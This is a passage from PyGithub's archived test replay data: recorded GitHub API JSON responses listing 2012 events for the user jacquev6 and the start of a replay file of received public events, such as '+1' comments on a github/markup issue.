PyGithub","html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:11:49Z","id":"1554710791","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:58:32Z","id":"1554705673","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:53:25Z","id":"1554703698","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:50:02Z","id":"1554702296","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:49:34Z","id":"1554702087","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:40:18Z","id":"1554698320","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:36:58Z","line":null,"body":"Comment created by PyGithub","updated_at":"2012-05-22T18:36:58Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361928","id":1361928,"path":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361928"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:36:58Z","id":"1554697057","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-22T17:15:11Z","id":"1554664316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"661812b9dd136efdb0e0c413793deb0939146651","size":2,"push_id":79550719,"commits":[{"sha":"c93f9cc8484b7835130689befc89ae88c7e72694","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c93f9cc8484b7835130689befc89ae88c7e72694","distinct":true,"message":"Remove noise in human readable description"},{"sha":"661812b9dd136efdb0e0c413793deb0939146651","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/661812b9dd136efdb0e0c413793deb0939146651","distinct":true,"message":"Test watching"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T13:48:45Z","id":"1554164185","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-21T11:31:55Z","id":"1554123822","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-21T11:17:12Z","body":"Implemented in ca97469. Will be in version 1.0.","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5820199","id":5820199,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":2,"open_issues":9,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120319","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"open_issues":9,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","size":1,"push_id":79524271,"commits":[{"sha":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","distinct":true,"message":"Retrieve rate limiting information"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:16:05Z","id":"1554120027","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","size":4,"push_id":79431688,"commits":[{"sha":"fd18d6299da666bffb9490a1a784060ca7a516f1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fd18d6299da666bffb9490a1a784060ca7a516f1","distinct":true,"message":"Test IssueComment"},{"sha":"beaa58ca0c038469b3b553b804b4d37b2363f8e2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/beaa58ca0c038469b3b553b804b4d37b2363f8e2","distinct":true,"message":"Test IssueEvent attributes"},{"sha":"6a2e4b4958385667c892cbd720fb91c6c44ab81a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6a2e4b4958385667c892cbd720fb91c6c44ab81a","distinct":true,"message":"Improve test coverage of NamedUser"},{"sha":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d5ba645d446d9c237a52ddc9cdc6862e399c62dc","distinct":true,"message":"Improve test coverage of AuthenticatedUser"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-20T17:59:32Z","id":"1553953684","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"FollowEvent","payload":{"target":{"name":"Vincent Driessen","company":"3rd Cloud","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","public_repos":61,"blog":"http://nvie.com","followers":297,"url":"https://api.github.com/users/nvie","public_gists":16,"hireable":false,"id":83844,"type":"User","bio":null,"login":"nvie","html_url":"https://github.com/nvie","email":"vincent@3rdcloud.com","following":41}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-20T12:47:52Z","id":"1553918130","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetPublicReceivedEvents.txt0000644000175100001660000023441714756101563026226 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/received_events/public {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4943'), ('content-length', '79562'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"901c887a2dc34d6a5067538b206fdb07"'), ('date', 'Sun, 20 May 2012 12:29:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:29:17Z","body":"+1","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808535","id":5808535,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"login":"cherryboss"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":23,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:29:18Z","id":"1553916447","actor":{"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"login":"cherryboss"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:25:03Z","body":"+1","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808513","id":5808513,"user":{"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"login":"Aurielle"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":22,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:25:06Z","id":"1553916062","actor":{"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"login":"Aurielle"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:23:10Z","body":"+1","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808502","id":5808502,"user":{"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"login":"janmarek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":21,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:23:10Z","id":"1553915882","actor":{"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"login":"janmarek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:47Z","body":"+1","updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808501","id":5808501,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"login":"Jirda"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":20,"updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T